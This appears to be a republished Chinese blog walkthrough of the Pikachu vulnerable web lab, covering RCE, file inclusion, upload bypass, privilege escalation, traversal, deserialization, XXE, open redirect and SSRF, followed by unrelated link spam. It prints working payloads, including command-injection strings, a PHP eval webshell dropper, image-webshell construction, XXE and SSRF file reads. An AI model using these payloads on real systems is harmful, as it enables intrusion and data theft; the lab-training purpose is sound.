当前位置: 首页 > news >正文

新增网站和新增接入广州市网站设计

新增网站和新增接入,广州市网站设计,个人网页制作成品 模板,软文推广文章范文1000RCE(remote command/code execute)概述 RCE漏洞#xff0c;可以让攻击者直接向后台服务器远程注入操作系统命令或者代码#xff0c;从而控制后台系统。 远程系统命令执行 一般出现这种漏洞#xff0c;是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口 比如我…RCE(remote command/code execute)概述 RCE漏洞可以让攻击者直接向后台服务器远程注入操作系统命令或者代码从而控制后台系统。 远程系统命令执行 一般出现这种漏洞是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口 比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上 一般会给用户提供一个ping操作的web界面用户从web界面输入目标IP提交后后台会对该IP地址进行一次ping测试并返回测试结果。 而如果设计者在完成该功能时没有做严格的安全控制则可能会导致攻击者通过该接口提交“意想不到”的命令从而让后台进行执行从而控制整个后台服务器 现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过自动化运维平台进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的收获-_- 远程代码执行 同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。 因此如果需要给前端用户提供操作类的API接口一定需要对接口输入的内容进行严格的判断比如实施严格的白名单策略会是一个比较好的方法。 命令拼接符windows 1. “|” 管道符前面命令标准输出后面命令的标准输入 2. “” commandA commandB 先运行命令A然后运行命令B 3. “||” commandA || commandB 运行命令A如果失败则运行命令B 4. “” commandA commandB 运行命令A如果成功则运行命令Blinux 1. “|” 管道符前面命令标准输出后面命令的标准输入 2. “” commandA commandB 先运行命令A然后运行命令B 3. “||” commandA || commandB 运行命令A如果失败则运行命令B 4. “” commandA commandB 运行命令A如果成功则运行命令B 5. “;” commandA;commandB执行完A执行B 6. “%0a” 换行符 7. “%0d” 回车符 命令执行函数 在PHP中可以执行命令的函数有 system、exec、shell_exec、passthru、pcntl_exec、popen、proc_popen等 exec ping 127.0.0.1 | dir 127.0.0.1 dir 127.0.0.1 || dir 127.0.0.1 dir 127.0.0.1 ipconfig exec eval phpinfo(); system(dir); system(ipconfig); system(whoami); File Inclusion文件包含漏洞 文件包含是一个功能。在各种开发语言中都提供了内置的文件包含函数其可以使开发人员在一个代码文件中直接包含引入另外一个代码文件。 比如 在PHP中提供了 include(),include_once() require(),require_once() 这些文件包含函数这些函数在代码设计中被经常使用到。 大多数情况下文件包含函数中包含的代码文件是固定的因此也不会出现安全问题。 但是有些时候文件包含的代码文件被写成了一个变量且这个变量可以由前端用户传进来这种情况下如果没有做足够的安全考虑则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行从而造成恶意操作。 根据不同的配置环境文件包含漏洞分为如下两种情况1.本地文件包含漏洞仅能够对服务器本地的文件进行包含由于服务器上的文件并不是攻击者所能够控制的因此该情况下攻击者更多的会包含一些 固定的系统配置文件从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞从而形成更大的威力。2.远程文件包含漏洞能够通过url地址对远程的文件进行包含这意味着攻击者可以传入任意的代码这种情况没啥好说的准备挂彩。 因此在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数如果非要这么做也一定要做严格的白名单策略进行过滤。 File Inclusion Local 选择一个名字然后提交URL中出现了文件名 猜测后台是在Linux系统还是Windows系统上再输入配置文件在系统上的路径到URL中得到文件的信息。 用多个../来跳转的根目录下 Win ../../../../Windows/System32/drivers/etc/hosts  Linux ../../../../../../../../etc/passwd  File Inclusion Rrmote 远程包含漏洞前提如果使用 includer 和 require 则需要 php.ini 配置如下 allow_url_fopen on    //默认打开 allow_url_include on    //默认关闭 在网站目录下创建一个TXT格式的木马文件 ?php     $myfile fopen(cd.php, w);     $txt ?php eval($_POST[a]);?;     fwrite($myfile, $txt);    fclose($myfile); ? 将URL中的filename修改为http://127.0.0.1/pikachu/test/cd.txt 运行后解析为php文件 蚁剑连接 unsafe filedownload不安全的文件下载 文件下载功能在很多web系统上都会出现一般我们当点击下载链接便会向后台发送一个下载请求一般这个请求会包含一个需要下载的文件名称后台在收到请求后 会开始执行下载代码将该文件名对应的文件response给浏览器从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话则可能会引发不安全的文件下载漏洞。 此时如果 攻击者提交的不是一个程序预期的的文件名而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。 所以在设计文件下载功能时如果下载的目标文件是由前端传进来的则一定要对传进来的文件进行安全考虑。 切记所有与前端交互的数据都是不安全的不能掉以轻心 提示点击名字直接下图片 我们右键点击选择复制链接得到如下链接 http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filenamekb.png 可以看到是通过filename进行读取文件的 通过../来构造下载其他文件 下载本页面 http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename../down_nba.php unsafe upfileupload 不安全的上传文件 不安全的文件上传漏洞概述 文件上传功能在web应用系统很常见比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨则攻击着可能会上传一些恶意的文件比如一句话木马从而导致后台服务器被webshell。 所以在设计文件上传功能时一定要对传进来的文件进行严格的安全考虑。比如 --验证文件类型、后缀名、大小; --验证文件的上传方式; --对文件进行一定复杂的重命名; --不要暴露文件上传后的路径; client check客户端检查 页面提示只允许上传图片 绕过将php后缀改为jpg然后上传利用BP进行拦截然后将jpg改为php重新发包 访问路径   #后缀jpg 改为php MIME check MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型当该扩展名文件被访问的时候浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名以及一些媒体文件打开方式。--百度 当一个浏览器对一个文件进行识别的时候他会给文件定义一个类型放在http的头部的Content-type里面比如上传图片就会自动识别是jpg或者png等 上传php文件提示只能上传图片。 通过修改MIME类型来绕过直接上传 php 文件然后抓包直接将其文件类型修改为 image/jpg 点击Forward 放包 上传成功 getimagesize() getimagesize 函数会检测文件是否是图片所以得通过制作图马来绕过这个函数检测。 上传php文件提示后缀名不能为空且必须是jpg,jpeg,png中的一个 图片马制作 Windows 准备一张图片和一句话木马php文件 方法一copy 1.jpg/b 2.php/a 3.jpg 方法二HxD打开一张图片A.jpg 在图片末尾加上一句话木马并保存 ?php phpinfo();??php eval($_POST[a]);? 服务器将木马文件解析成了图片文件因此向其发送执行该文件的请求时服务器只会返回这个“图片”文件并不会执行相应命令。我们需要利用前面的文件包含漏洞可以将图片格式的文件当做php文件来解析执行 蚁剑连接 over permission 如果使用A用户的权限去操作B用户的数据A的权限小于B的权限如果能够成功操作则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。 一般越权漏洞容易出现在权限页面需要登录的页面增、删、改、查的的地方当用户对权限页面内的信息进行这些操作时后台需要对 对当前用户的权限进行校验看其是否具备操作的权限从而给出响应而如果校验的规则过于简单则容易出现越权漏洞。 水平越权 提示三个账号密码 登录账户 lili/123456 我们将URL中的username改为luky或kobe发现能成功越权查看到luky或kobe的信息这说明存在水平越权漏洞 源码只判断了是否登录并没有验证传入的username是不是当前登录用户 垂直越权 A用户权限高于B用户B用户越权操作A用户的权限的情况称为垂直越权。 提示有两个用户 登录超级用户可以添加或删除账户 添加用户 点击创建然后使用burp抓包 将kookie复制备用 然后登录普通用户pikachu使用Burp抓取其登录状态的Cookie然后将pikachu账户的Cookie替换至admin账户的Cookie,最后点击send 然后刷新pikachu账户页面 可以看到创建了两个相同的账户第一个是admin创建的第二个是pikachu创建的。  ../../(目录遍历漏洞) 目录遍历漏洞概述 在web功能设计中,很多时候我们会要将需要访问的文件定义成变量从而让前端的功能便的更加灵活。 当用户发起一个前端的请求时便会将请求的这个文件的值(比如文件名称)传递到后台后台再执行其对应的文件。 在这个过程中如果后台没有对前端传进来的值进行严格的安全考虑则攻击者可能会通过“../”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来形成目录遍历漏洞。 看到这里,你可能会觉得目录遍历漏洞和不安全的文件下载甚至文件包含漏洞有差不多的意思是的目录遍历漏洞形成的最主要的原因跟这两者一样都是在功能设计中将要操作的文件使用变量的 方式传递给了后台而又没有进行严格的安全考虑而造成的只是出现的位置所展现的现象不一样因此这里还是单独拿出来定义一下。 需要区分一下的是,如果你通过不带参数的url比如http://xxxx/doc列出了doc文件夹里面所有的文件这种情况我们成为敏感信息泄露。 而并不归为目录遍历漏洞。关于敏感信息泄露你你可以在i can see you ABC中了解更多 点击两个超链接URL中的title发生变化 根据目录遍历的原理攻击者主要通过…/来返回上一级目录, 从而导致所有目录的暴露。 可以看到URL中有文件名那我们可以进行构造实现目录遍历 title../../../../phpinfo.php title../../../../Windows/win.ini title../../../../Windows/System32/drivers/etc/hosts 敏感信息泄露 概述 由于后台人员的疏忽或者不当的设计导致不应该被前端用户看到的数据被轻易的访问到。 比如 ---通过访问url下的目录可以直接列出目录下的文件列表; ---输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息; ---前端的源码html,css,js里面包含了敏感信息比如后台登录地址、内网接口信息、甚至账号密码等; 类似以上这些情况我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。 因此,在web应用的开发上除了要进行安全的代码编写也需要注意对敏感信息的合理处理。 打开界面是一个登陆页面查看源码发现敏感信息 登陆之后发现abc.php 不登录直接将findabc.php改为abc.php也可访问 PHP反序列化 在理解这个漏洞前,你需要先搞清楚php中serialize()unserialize()这两个函数。 序列化serialize() 序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象: class S{public $testpikachu;}$snew S(); //创建一个对象serialize($s); //把这个对象进行序列化序列化后得到的结果是这个样子的:O:1:S:1:{s:4:test;s:7:pikachu;}O:代表object1:代表对象名字长度为一个字符S:对象的名称1:代表对象里面有一个变量s:数据类型4:变量名称的长度test:变量名称s:数据类型7:变量值的长度pikachu:变量值反序列化unserialize() 就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。 $uunserialize(O:1:S:1:{s:4:test;s:7:pikachu;});echo $u-test; //得到的结果为pikachu序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题 常见的几个魔法函数:__construct()当一个对象创建时被调用__destruct()当一个对象销毁时被调用__toString()当一个对象被当作一个字符串使用__sleep() 在对象在被序列化之前运行__wakeup将在序列化之后立即被调用漏洞举例:class S{var $test pikachu;function __destruct(){echo $this-test;}}$s $_GET[test];$unser unserialize($a);payload:O:1:S:1:{s:4:test;s:29:scriptalert(xss)/script;}源码没有对用户传进来的参数做过滤直接反序列化。 用代码生成payload ?php class S{     var $test scriptalert(document.cookie)/script; } $a new S(); echo serialize($a); ? 提交payload O:1:S:1:{s:4:test;s:39:scriptalert(document.cookie)/script;} 反序列化的结果是一个 JS 的弹窗我们提交后就能进行 XSS 攻击 XXE XXE -xml external entity injection 既xml外部实体注入漏洞。 概括一下就是攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题 也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。 具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。 现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。 以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。 看一下提示 XML(Extensible Markup Language)全称为可扩展标记语言是一种传输的数据格式 DTD(Document Type Definition)全称为文档类型定义是XML文档中的一部分用来定义元素。 关于XML、DTD知识参考 XML 简介-腾讯云开发者社区-腾讯云 WEB-XXE DTDDocument Type Definition文档类型定义 - 知乎 任意输入提示 内部实体引用 ?xml version1.0?  !DOCTYPE foo [     !ENTITY xxe cdcd ]  fooxxe;/foo 网页上回显“cdcd”说明网页对输入的xml数据是有结果回显的 外部实体引用 查看系统文件内容 c:/windows/win.ini是每个windows系统都有的文件如果确定服务器是windows系统就可以用该文件来确定是否有xxe漏洞 输入payload以下代码中xxe是外部实体的实体名称 ?xml version1.0?  !DOCTYPE foo [     !ENTITY xxe SYSTEM file:///c:/windows/win.ini ]  fooxxe;/foo file://协议只能用绝对路径用不了相对路径 查看其他系统敏感文件只要将该文件路径c:/windows/win.ini 替换即可 URL重定向 不安全的url跳转 不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。 如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话就可能发生跳错对象的问题。 url跳转比较直接的危害是: --钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站 点击第四个超链接可以发现URL重定向是通过  urlredirect.php?url  来实现的 ​ 我们可以直接把参数i,改为钓鱼网站的网址然后把这个URL发送给用户用户点击就会跳转到钓鱼网站。 修复 对url进行白名单的限制如果不在白名单就跳转到固定的页面 SSRF SSRF(Server-Side Request Forgery:服务器端请求伪造) 其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制 导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据 数据流:攻击者-----服务器----目标地址 根据后台使用的函数的不同,对应的影响和利用方法又有不一样 PHP中下面函数的使用不当会导致SSRF: file_get_contents() fsockopen() curl_exec() 如果一定要通过后台服务器远程去对用户指定(或者预埋在前端的请求)的地址进行资源请求,则请做好目标地址的过滤。 curl 点击进去。是一首诗 URL里带有url参数名是url参数值是一个url地址 curl函数参考https://www.runoob.com/php/php-ref-curl.html PHP支持的由Daniel Stenberg创建的libcurl库允许你与各种的服务器使用各种类型的协议进行连接和通讯。 libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。libcurl同时也支持HTTPS认证、HTTP POST、HTTP PUT、 FTP 上传(这个也能通过PHP的FTP扩展完成)、HTTP 基于表单的上传、代理、cookies和用户名密码的认证。 PHP中使用cURL实现Get和Post请求的方法 这些函数在PHP 4.0.2中被引入。 file协议查看本地文件 payloadurlfile:///c:/windows/system32/drivers/etc/hosts http/https协议 urlhttp://x.x.x.x/ urlhttps://x.x.x.x/ file_get_content 与第一关相似 URL里面有参数名file参数值是个url或者说 是个文件路径 file_get_content()函数 参考PHP file_get_contents() 函数 | 菜鸟教程 file_get_contents() 把整个文件读入一个字符串中。 该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持还会使用内存映射技术来增强性能。 file协议查看本地文件 filefile:///c:/windows/win.ini 读取php源码 filephp://filter/readconvert.base64-encode/resourcessrf.php 防御 1.可以采取白名单,限制内网IP 2.对返回内容进行识别 3.禁用一些不必要的协议 4.统一错误信息避免用户可以根据错误信息来判断远端服务器的端口状态. 参考pikachu XXE (XML外部实体注入)皮卡丘漏洞平台通关系列_仙女象的博客-CSDN博客 Pikachu漏洞平台通关记录-腾讯云开发者社区-腾讯云
http://www.pierceye.com/news/737423/

相关文章:

  • jsp是做网站后台的吗wordpress设置备份
  • 做网站一般使用什么算法织梦 导航网站 模板
  • 网站建设服务费合同如何解决网站只收录首页的一些办法
  • 用js做网站登录阿里巴巴运营岗位
  • 老渔哥网站建设公司重庆建设厂
  • 怎么建网站手机版松门建设规划局网站
  • wordpress网站破解整容医院网络建设公司
  • app如何推广深圳网络排名优化
  • 网站seo规范南昌it制作电商网站的公司
  • 深圳网站设计 工作室深圳品牌设计工作室
  • 手机网站静态动态wordpress注意
  • 什么网站没人做v5shop微分销系统
  • 做鞋子的网站品牌vi设计包括哪些
  • 做产品类的工作上什么网站好asp.net做的网站模板下载
  • 金融公司网站规划方案我司网站改版上线网站建设
  • 城乡与住房建设部网站首页深圳响应式设计企业网站
  • 做网站 带宽 多少钱做电影网站的服务器需要多大
  • 西安网站建设全包用手机制作游戏的软件
  • 哪个网站生鲜配送做的好drupal wordpress网站
  • 网站后台需要多少建设部举报网站
  • 重庆建筑证书查询网站wordpress博客怎么访问不了
  • 网站案例鉴赏wordpress html5视频
  • 免费申请网站 主机 空间网站不稳定
  • 建立个人网站视频教程中国空间站和国际空间站对比
  • 佛山网站seo推广推荐一个专门做海鲜的网站
  • 长春网站建设与健网站外链如何做
  • 网站开发国内现状网站建设与维护教学计划
  • 如何解决网站图片打开慢网站如何做跳转
  • 网站开发作用大学生网络营销策划书
  • 有域名了如何建网站用自己的身份做网站备案